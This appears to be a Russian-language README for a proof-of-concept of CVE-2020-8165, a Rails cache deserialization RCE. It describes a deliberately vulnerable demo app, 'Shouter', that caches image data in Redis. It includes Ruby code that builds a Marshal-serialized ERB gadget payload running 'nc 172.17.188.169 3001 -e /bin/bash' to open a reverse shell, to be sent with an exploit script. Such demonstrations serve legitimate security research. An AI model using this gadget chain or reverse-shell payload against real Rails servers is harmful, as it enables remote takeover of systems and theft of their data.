
Демонстрация эксплуатации удаленного выполнения кода (RCE) через десериализацию в Rails (CVE-2020-8165) с использованием реалистичного приложения Shouter, генерации полезной нагрузки на Ruby и отравления кэша Redis.
Ещё одна демонстрация CVE-2020-8165, но в более реалистичной реализации, чем большинство.
CVE-2020-8165
Уязвимость десериализации недоверенных данных существует в rails < 5.2.4.3, rails < 6.0.3.1, которая может позволить атакующему разархивировать предоставленные пользователем объекты в MemCacheStore и RedisCacheStore, что потенциально может привести к RCE.
В приложении "Shouter" есть функция кэширования в модели Shout, где необязательные изображения, отправляемые вместе с shout:string, кэшируются в redis и извлекаются оттуда, а не из БД. Поскольку для взаимодействия с кэшем используется уязвимый метод Rails.cache.fetch, это приложение подвержено CVE-2020-8165, а результаты RCE помещаются в src тегов img на маршруте панели управления.
Следующий фрагмент сгенерирует полезную нагрузку, которую необходимо отправить с помощью exploit.py. Есть некоторые нюансы с этапом сериализации, которые необходимо выяснить для полной реализации эксплойта на Python. Поэтому для генерации точной полезной нагрузки (пока что) необходим Marshal.dump в Ruby.
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload